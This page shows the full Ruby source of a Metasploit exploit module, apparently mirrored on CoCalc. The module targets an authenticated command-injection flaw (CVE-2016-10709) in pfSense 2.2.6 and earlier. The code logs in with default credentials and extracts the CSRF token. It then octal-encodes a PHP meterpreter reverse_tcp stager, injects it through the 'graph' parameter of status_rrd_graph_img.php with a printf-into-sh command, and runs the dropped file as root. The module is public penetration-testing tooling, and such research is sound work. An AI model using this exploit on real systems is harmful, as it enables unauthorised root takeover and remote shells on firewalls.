CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_graph_injection_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'pfSense authenticated graph status RCE',
17
'Description' => %q(
18
pfSense, a free BSD based open source firewall distribution,
19
version <= 2.2.6 contains a remote command execution
20
vulnerability post authentication in the _rrd_graph_img.php page.
21
The vulnerability occurs via the graph GET parameter. A non-administrative
22
authenticated attacker can inject arbitrary operating system commands
23
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
24
),
25
'Author' =>
26
[
27
'Security-Assessment.com', # discovery
28
'Milton Valencia', # metasploit module <wetw0rk>
29
'Jared Stephens', # python script <mvrk>
30
],
31
'References' =>
32
[
33
[ 'CVE', '2016-10709' ],
34
[ 'EDB', '39709' ],
35
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
36
],
37
'License' => MSF_LICENSE,
38
'Platform' => 'php',
39
'Privileged' => 'true',
40
'DefaultOptions' =>
41
{
42
'SSL' => true,
43
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
44
'Encoder' => 'php/base64'
45
},
46
'Arch' => [ ARCH_PHP ],
47
'Payload' =>
48
{
49
'Space' => 6000,
50
'Compat' =>
51
{
52
'ConnectionType' => '-bind',
53
}
54
},
55
'Targets' => [[ 'Automatic Target', {} ]],
56
'DefaultTarget' => 0,
57
'DisclosureDate' => '2016-04-18',
58
)
59
)
60
61
register_options(
62
[
63
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
64
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
65
Opt::RPORT(443)
66
], self.class
67
)
68
end
69
70
def login
71
res = send_request_cgi(
72
'uri' => '/index.php',
73
'method' => 'GET'
74
)
75
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
76
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
77
78
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
79
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
80
vprint_status("CSRF Token for login: #{csrf}")
81
82
res = send_request_cgi(
83
'uri' => '/index.php',
84
'method' => 'POST',
85
'vars_post' => {
86
'__csrf_magic' => csrf,
87
'usernamefld' => datastore['USERNAME'],
88
'passwordfld' => datastore['PASSWORD'],
89
'login' => ''
90
}
91
)
92
unless res
93
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
94
end
95
if res.code == 302
96
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
97
return res.get_cookies
98
else
99
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
100
return nil
101
end
102
end
103
104
def detect_version(cookie)
105
res = send_request_cgi(
106
'uri' => '/index.php',
107
'method' => 'GET',
108
'cookie' => cookie
109
)
110
unless res
111
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
112
end
113
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
114
if version
115
print_status("Detected pfSense #{version}, uploading intial payload")
116
return Rex::Version.new(version)
117
end
118
# If the device isn't fully setup, you get stuck at redirects to wizard.php
119
# however, this does NOT stop exploitation strangely
120
print_error('pfSense version not detected or wizard still enabled.')
121
Rex::Version.new('0.0')
122
end
123
124
def exploit
125
begin
126
cookie = login
127
version = detect_version(cookie)
128
filename = rand_text_alpha(rand(1..10))
129
130
# generate the PHP meterpreter payload
131
stager = 'echo \'<?php '
132
stager << payload.encode
133
stager << "?>\' > #{filename}"
134
# here we begin the encoding process to
135
# convert the payload to octal! Ugly code
136
# don't look
137
complete_stage = ""
138
for i in 0..(stager.length()-1)
139
if version.to_s =~ /2.2/
140
complete_stage << '\\'
141
end
142
complete_stage << "\\#{stager[i].ord.to_s(8)}"
143
end
144
145
res = send_request_cgi(
146
'uri' => '/status_rrd_graph_img.php',
147
'method' => 'GET',
148
'cookie' => cookie,
149
'vars_get' => {
150
'database' => '-throughput.rrd',
151
'graph' => "file|printf '#{complete_stage}'|sh|echo",
152
}
153
)
154
155
if res && res.code == 200
156
print_status('Payload uploaded successfully, executing')
157
register_file_for_cleanup(filename)
158
else
159
print_error('Failed to upload payload...')
160
end
161
162
res = send_request_cgi({
163
'uri' => '/status_rrd_graph_img.php',
164
'method' => 'GET',
165
'cookie' => cookie,
166
'vars_get' => {
167
'database' => '-throughput.rrd',
168
'graph' => "file|php #{filename}|echo "
169
}
170
})
171
disconnect
172
end
173
end
174
end
175
176